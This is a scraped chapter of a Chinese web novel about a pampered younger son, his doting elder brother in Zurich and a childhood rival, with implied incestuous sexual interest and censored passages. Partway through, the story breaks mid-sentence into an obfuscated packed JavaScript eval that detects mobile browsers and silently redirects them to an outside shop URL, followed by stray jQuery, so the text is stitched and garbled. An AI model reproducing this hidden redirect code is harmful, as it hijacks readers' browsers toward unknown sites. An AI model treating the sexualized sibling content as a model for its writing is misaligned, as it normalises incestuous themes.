疼。
(被举报删减了一部分)
……
这时候不撒娇讨点好处对不起自己金贵的屁股。
周明夷裤子挂在腰上,两眼一眯,凑过去,单膝跪在沙发上,伸手给自己大哥捏肩。
“长记性了!大哥,这次其实是对方挑衅我,对方说我是不男不女的小白脸,问我一晚多少钱,想不想被包,”
周明夷添油加醋说了一堆,余光观察周京泽的脸色,又去给他的烟点火,很狗腿的捶腿,把对方的西装裤弄得都是褶皱。
“我可是周家二公子,怎么能让洋人欺负到头上来!我要他吃点苦头,”
他正义愤填膺,没注意到周京泽面色一凛。
“是。”
“你是周家的人,怎么能让别人欺负。”
周京泽为了安慰弟弟,给他转了一百万零花钱,周明夷看着银行卡余额屁股不疼了,羞耻心也粉碎了,甚至抱着大哥狠狠亲了一口。
“掉钱眼里了。”
周京泽调侃他,“休息一会,下午带你转转苏黎世湖。”
行李被人送到了隔壁的房间,周明夷懒得去拿,就找了大哥的睡袍进浴室,洗完澡后舒舒服服地霸占大哥的床。
周京泽从阳台抽完烟回来,看到一地的脏衣服,习以为常捡起来丢进脏衣篓,唯独捡到那条黑色三角裤时沉默了一阵。
床上的人呼吸平缓了,他走过去,掀开周明夷的被子。
因为屁股疼,周明夷是趴着睡的。
………
周明夷敞着腿,在自己大哥的床上睡得很沉,刚到肩膀的头发还有些湿,发尾呈银白色,上面却是浓烈的黑色。
夸张、扎眼,和明夷这个人一样。
他实在太放心了大哥,所以根本没想过周京泽会对他做什么。
有些满足,又莫名不甘心。
燥意涌上来,周京泽给人盖好被子,拿着周明夷换下来的三角裤去了浴室。
周明夷一觉睡到下午四点,醒来大哥不在房间,他打开手机。
周京泽跟他发了信息,让他睡醒就下楼吃饭。
衣服被送去清洗,唯独内.裤被洗干净挂在晾衣区,周明夷以为是自己顺手洗的,没放在心上,穿好新衣服下楼。
周京泽在对接宴会的事宜。
“等我十分钟。”
他很快把工作安排下去,招呼周明夷过去。
没想到还有人没离开,周明夷带着笑走过去,迎面撞上谢自恒,立即换了一副脸色。
“哦,你回来了啊。”
他本想无视对方,自己大哥却接过话。
“你睡着后下了雨,我派人回去接他的。”
苏黎世机场距离市中心不远,谢自恒可以乘坐电车回酒店,没想到这点距离都要人回去接,这个保姆的儿子当得堪比少爷。
周明夷懒得搭理他,朝着周京泽扬起笑容。
“哥,我饿了。”
显而易见的区别对待,两人想忽视都难。
谢自恒明显不高兴,抿着唇,瞪了周明夷几眼,却没有开口责怪他。
周京泽倒从容不迫,很享受弟弟这种毫无保留地依赖。
三人选择了最近的餐厅吃晚饭,点餐时周明夷就板着脸,实在想不通为什么谢自恒要跟着他俩。
周京泽还绅士地问对方要吃什么,有什么忌口。
大哥的体贴以前都是他一个人能享受的,真不知道谢自恒沾了哪门子光,让大哥态度这么和煦。
周明夷忍不住回忆自己从什么开始讨厌谢自恒的,思来想去,发现最早的时候,自己其实没那么讨厌谢自恒。
他是周家小少爷,周父周母是商业联姻,婚后相敬如宾,前后生下两个孩子。
大少爷周京泽被当做继承人培养,而周明夷注定被所有人宠得无法无天。
他喜欢闹周京泽,但大哥学业太重,大部分时候周明夷都没机会缠着对方。
后来周父说,保姆有个与明夷同龄的孩子,让她带来陪明夷玩。
谢自恒就是那时来周家的。
那时候,谢自恒只比六岁的周明夷高一点点,很白,瘦得像竹竿,长辈说什么都歪着脑袋听得认真,嘴巴紧紧抿着,一副小大人的模样。
周明夷猫在花瓶后偷看他,瞧了半天开始学他的样子。
抿着嘴巴,歪着脑袋,听管家说家里规矩,周明夷就依照谢自恒的样子点头。
管家喊小少爷。
周明夷也高深莫测地点头。
倒是谢自恒转过头看见他,眼睛睁大了,耳朵红红的。
周明夷走到他身边,背着手,严肃地说,以后你跟我玩!
谢自恒曾经很听周明夷的话。
周明夷是小霸王,走不动路总喜欢叫对方背着自己,但谢自恒只比他大几个月,没什么力气,往往背一小会就喘得不行,要把人放下去。
周明夷不肯,就缠着对方耍赖。
谢自恒只能又背着他转了一圈,最后彻底累走不动了。
谢自恒小声说了句胖宝宝。
周明夷听话听一个字,很介意那个“胖”字,格外不满意,想着大哥背自己都不嫌累。
而且那会他才六岁,哪胖了,就偷偷跑去跟大哥告状,抱着周京泽大腿,摸着小肚子委屈地说,我长胖了。
他哥把他抱到腿上,掀起衣摆看了一眼,笑着哄周明夷:宝宝不胖。
周明夷觉得大哥说的才是真话,举起手要他抱。
哥哥抱。
周京泽毫不费力把人抱在怀里。
下楼的时候,周明夷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046601|194746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见谢自恒站在角落看着他俩。
周明夷悄悄记仇。
明明自己不胖,都怪谢自恒没力气抱不动我,才说他胖。
后来,谢自恒跟周明夷在国内上了同一所初中。
周明夷很受同龄人欢迎,有了很多新朋友,渐渐跟谢自恒来往少了。
十几岁的少年情窦初开,也不知道从哪听说喜欢人是一件很酷的事,扬言自己喜欢上校花。
他自己不好意思去告白,竟然拜托谢自恒帮他转交情书。
谢自恒黑着脸回来,跟他说情书被撕了。
周明夷懵了半天,哭得极其伤心,当晚饭都不吃。
谢自恒比他还无语,说周明夷眼光不好。
周明夷就想,这个人,小时候说他胖,现在说他眼光差,纯心跟他过不去。
周明夷一气之下就要跟他绝交。
谢自恒没想到小少爷这次反应这么大,一下子慌了神,拉着周明夷,反复说对不起。
但周明夷初恋被拒,到晚上,就去踹大哥的枕头。
周京泽从梦中惊醒,见他委屈地红着眼,说,大哥我被人甩了,我想要转校。
学业繁忙的周京泽一脸烦躁,大半夜打电话问秘书自己弟弟在学校做什么。
等他打完电话,周明夷已经钻进被窝睡着了。
周京泽单手圈着他的背,把被子往上拉了一截,把空隙填满,等挂了电话,才叹息着揉了揉眉心。
第二天,周京泽跟谢自恒聊了许久。
周明夷没有转校,谢自恒转走了。
他问谢自恒为什么。
谢自恒什么都没说。
周明夷问他哥,他说谢自恒妄想得不到的东西。
也就是从那天起,他们的关系疏远,甚至考上同一所高中后,变得格外糟糕。
周明夷明白了,一切始于那封被撕的情书。
虽说大哥不允许他早恋,但退一万步讲,谢自恒就没错吗!
他就是一时上头说要转校,又没真的走,谢自恒为什么要听大哥的话转校?
他闷闷不乐,周京泽一改常态,竟然没察觉到自己弟弟不开心,而是在问谢自恒:“明天是明夷生日,受邀的宾客都安排好了吗?”
谢自恒点头。
“周叔叔周阿姨因工作冲突,要后天才到瑞士,”他看向周明夷,“礼物提前送过来了。”
周明夷不看他,从自己大哥餐盘里叉走切好的牛肉。
周京泽索性把整盘都挪过去,顺便把他那盘搅得不能看的奶油蘑菇片牛肉端走,他戴上手套,把肉馅饼切成适合入口的大小,才摆到周明夷面前。
谢自恒全程没说话,看周明夷心安理得享受着周家掌权人的服务,终于有些烦躁。
“哥,他有手,让他自己切。”